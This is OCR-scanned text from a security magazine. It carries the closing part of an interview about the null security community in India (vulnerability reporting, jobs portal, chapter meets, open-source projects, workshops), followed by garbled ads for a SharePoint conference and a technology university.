searchers who find it difficult to report and get the
vulnerability fixed, report it to us and we take on
the responsibility of reporting it to vendor and get-
ting it fixed. There is no restriction on the type of
vulnerability one can report i.e. even vulnerabilities
in custom websites can be reported to Keeda. For
more details you can visit http://keeda.null.co.in.

Null Jobs

A free portal for posting and applying for security
jobs. We have been running the portal for more
than a year now and have received hundreds of
job postings and applications. Many people have
found the right jobs through the portal. We have
changed the way how security job openings were
communicated in the past by way of having a cen-

are generally presentations by members and dis-
cussions on hot topics in security. The chapters
run independently with all the information being
collated on our community portal http:/null.co.in It
is amazing to see the kind of deep technical knowl-
edge talks and information exchange happening at
the null meets. The meets are free for everyone i.e.
no registration and as we at say at null — just come
with an open mind. People interested in opening
local null chapters can directly contact us and we
can assist them with the same.

ED: Do you work on any projects in null?
AJ: We have several projects running. All projects
are run by null members who have volunteered
and taken some time out of their busy schedule to
manage those projects.

Software projects

There are various open source security software
written and contributed by null members. The de-
tails can be found at — http.//null.co.in/section/athe-
neum/projects/. Some of the noted projects include
Game|Over — The web security learning platform,
Jugaad — Linux remote thread injection kit, Wire-
play — server communication fuzzing tool, Malware
analyser and many more.

www.hakin9.org/en

tralized portal for most of the security jobs in India.
We plan to take it international in sometime and as-
sist the international community for the same. De-
tails can be found at http:/jobs.nullcon.net.

null HumlAJ

Humla literally means attack in hindi. An offensive
hands-on informal workshop and gathering. This
happens in most of the null chapters. It is a day long
session on any offensive technology picked up by
the volunteers. We have a Humla champion who
runs the show. The session is totally free, however
to maintain the quality we keep limited registrations.

ED: Any message for our readers?
AJ: | request you to come out of your office space
and contribute to the community as much as you
can. Believe me when | say that the best way to
learn is to share and network with the community.
Take some time out of your busy schedule and
come down for nullcon. We promise an experience
never experienced :). We have special packages
for international delegates.
And as they say for nullcon — Beware! Be There!
Get ready to Goal

ED: Thank you very much! Good luck!
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The SharePoint SharePoint
Technology Conference

March 3-6, 2013 — San Francisco

90 Classes & Workshops!

Check out these classes,
taught by the industry’s best experts!

How to Install SharePoint 2013 Without Creating Simple Dashboards Using

Screwing It Up Out-of-the-Box Web Parts

Todd Klindt | and Shane Young [ Jennifer Mason

What IS SharePoint Development? Integrating SharePoint 2010 and Visual
Mark Rackley Studio Lightswitch

SharePoint Performance: Best Practices o Windsor [

from the Field Solving Enterprise Search Challenges with
Jason Himmelstein SharePoint 2010

Creating a Great User Experience in Mauhiew McDermos

SharePoint Getting Stuff Done! Managing Tasks with
Marc Anderson ] SharePoint Designer Workflows

Ten Best SharePoint Features You've Chatz Beckett 8

Never Used SharePoint 2013 Upgrade Planning for
Christian Buckley | the End User: What You Need to Know
Understanding and Implementing Richard Harbridge

Governance for SharePoint 2010 Ten Mon-SharePoint Technical Issues

Bill English That Can Doom Your Implementation
Building Apps for SharePoint 2013 Ruberttiogue

Andrew Connell [ SharePoint MoneyBall: The Art of Winning

the SharePoint Metrics Game

SharePoint Solutions with SPServices
Susan Hanley

Marc Anderson i
Lists: Used, Abused and Underappreciated
Wes Proston 8 Randy Drisgill J and John Ross [

C he C k 0 Ut m 0 I"e than [ Eankpani Comuuing Exkessh B How to Best Develop Requirements for

SharePoint 2010

Intro to Branding SharePoint 2010 in the
Farm and Online

55 exhibiting companles! Geot Varosky Duk Fayerasio 3 B
it Lots more online!

‘ | www.sptechcon.com

SFTechCon™ is a rademark of BZ Media LLC.
SharePoint® is a registered trademark of Microsoft.
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| IT'SIN YOUR PULSE. |

LEARN:

Advancing Computer Science
Artificial Life Programming
Digital Media

Digital Video

Enterprise Software Development
Game Art and Animation
Game Design

Game Programming
Human-Computer Interaction
Network Engineering

www.uat.edu > 877.UAT.GEEK

| GEEKED AT BIRTH. |

Network Security

Open Source Technologies
Robotics and Embedded Systems
Serious Game and Simulation
Strategic Technology Development
Technology Forensics

Technology Product Design

Technology Studies You can talk the talk
Virtual Modeling and Design '
Web and Social Media Technologies Can you walk the walk?

PLEASE SEE WWW.UAT.EDU/FASTFACTS FOR THE LATEST INFORMATION ABOUT DEGREE PROGRAM PERFORMANCE, PLACEMENT AND COSTS.
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